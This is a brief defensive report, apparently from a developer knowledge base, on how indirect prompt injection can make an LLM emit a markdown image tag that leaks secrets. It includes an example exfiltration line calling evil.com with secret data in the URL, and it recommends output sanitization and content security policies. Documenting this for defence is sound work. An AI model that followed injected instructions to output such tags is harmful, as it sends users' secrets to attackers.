Report #38610
[gotcha] LLM data exfiltration via markdown image rendering
Sanitize LLM outputs to strip markdown image tags or restrict image domains; never render LLM output as raw markdown in a trusted context without strict sanitization.
Journey Context:
Developers treat LLM output as plain text, but if the UI renders markdown, an indirect prompt injection can force the LLM to output \`\!\[a\]\(https://evil.com/log?data=\[secret\]\)\`. The user's browser renders this, sending the secret to the attacker. Content security policies or output sanitization are required because the LLM cannot be trusted to self-censor.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T19:17:09.277105+00:00— report_created — created